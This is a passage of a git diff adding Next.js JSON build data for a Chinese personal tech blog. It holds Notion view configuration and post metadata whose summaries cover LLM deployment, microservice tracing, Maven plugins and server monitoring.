"cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","8f4fe6b1-7a9e-43e0-bcfb-6edb50f10a62","571f2540-eb8a-42ee-84f5-85f1583430ae","f5dd304c-8c81-40dc-ba37-9c1d7399e15e","a6271da0-6b8f-47a3-9735-e8fa770f1d9f","4d7cafcd-57a4-4255-90c5-821a6f40dfe8","dc4f233c-5ec9-4ba8-b943-2e5e1f408ad6","db0e0da3-a27e-445c-9f69-9c95b33a52bc","4e12cb2c-d3f9-46aa-8e7e-c13084f7c79c","29fdb092-3dbf-4487-8f6b-6586958cfc67","87c18f9d-1c7e-47b0-89b9-fae9e38b6ce9","54ea2a2c-9b91-4457-8f20-d29ebe384529","21622ac5-95e6-455a-a91d-9d762a88963e","16500013-ac92-4537-9012-46d8ff7dae03","ce720858-10b7-4c0c-8083-906f29150a81","01cc4bd3-fe3b-456b-a08e-e961d83c7999","da988857-3ba9-4a63-9731-e849beb46705","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","b9e5afa7-db27-4aea-95fb-3fd5fcf81846","1e08ee78-d240-47cb-9d52-6a484b248543","0872b2f7-af7d-4f24-adf7-86f5d34dbc7b","18460a7c-3e63-4d7b-ad00-cf40ba77851c","0458d9a0-a64e-4837-bc75-f4a3f7853249","0ef279d4-d54a-4de3-9a5b-5603b461b586","f3550fb0-346c-4212-b57f-86433738b50b","de36fd0c-38fe-4b0c-b9d3-1c4389f599b2","bbeae7c7-f4ef-4f79-9c0d-6572636a9233","15a4fc06-381c-43a0-94f3-f89655b192da","55c03d34-3626-49d4-ac9d-6a455b2b6c93","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","1146ef63-aba8-4df5-a006-ba886ea87966","9057c4ad-2ef9-44a0-9bdd-c38daf735108","0bc55f01-2246-4cca-836d-266680bd9b5b","0bfc2813-a121-4fd1-a7bb-738f6357892c","d3a02583-75a2-402d-b0a1-4551c3837c7e","8a9e1924-f513-43dc-a8bc-5e2c6d9c6ada","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"e17348d8-5a80-4f02-813c-025b790d16c8":{"value":{"id":"e17348d8-5a80-4f02-813c-025b790d16c8","version":32,"type":"table","name":"Config","format":{"gallery_cover":{"type":"page_content"},"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"property_filters":[{"id":"b54a6c88-635d-4de4-946e-5a855a1f4069","filter":{"filter":{"value":[{"type":"exact","value":"Notice"},{"type":"exact","value":"Menu"},{"type":"exact","value":"Config"},{"type":"exact","value":"SubMenu"},{"type":"exact","value":"Page"}],"operator":"enum_is"},"property":"`gQ~"}}],"table_properties":[{"width":116,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":118,"visible":true,"property":"`gQ~"},{"width":219,"visible":true,"property":"title"},{"width":326,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"`gQ~"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"}],"table_frozen_column_index":-1,"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"5010afdb-92b5-4f49-958b-0b8c900d6190":{"value":{"id":"5010afdb-92b5-4f49-958b-0b8c900d6190","version":11,"type":"gallery","name":"Post Gallery","format":{"gallery_cover":{"type":"page_cover"},"property_filters":[{"id":"e5e69a48-8053-4d20-9e5a-73e8b24dab16","filter":{"filter":{"value":{"type":"exact","value":"Post"},"operator":"enum_is"},"property":"`gQ~"}}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"a80c22ef-8b56-410d-af06-07615c5f2654":{"value":{"id":"a80c22ef-8b56-410d-af06-07615c5f2654","version":13,"type":"board","name":"Post Board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"95291d8d-e273-469c-a59d-a13b3111356c":{"role":"none"},"7030f083-12ac-47e7-8437-78d103d3d0f9":{"role":"none"},"1423991b-788a-4c5d-a888-ef14c8f79dfd":{"role":"none"},"c7ba09b5-9679-4e1b-99ee-57710915d447":{"role":"none"},"14cf93b9-208b-808f-9bb7-000c7464a964":{"role":"none"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"2024-1-21","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"2024-1-21","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},"next":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240121-skywaking.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240121-skywaking.json new file mode 100644 index 000000000..3b1bae6f3 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240121-skywaking.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"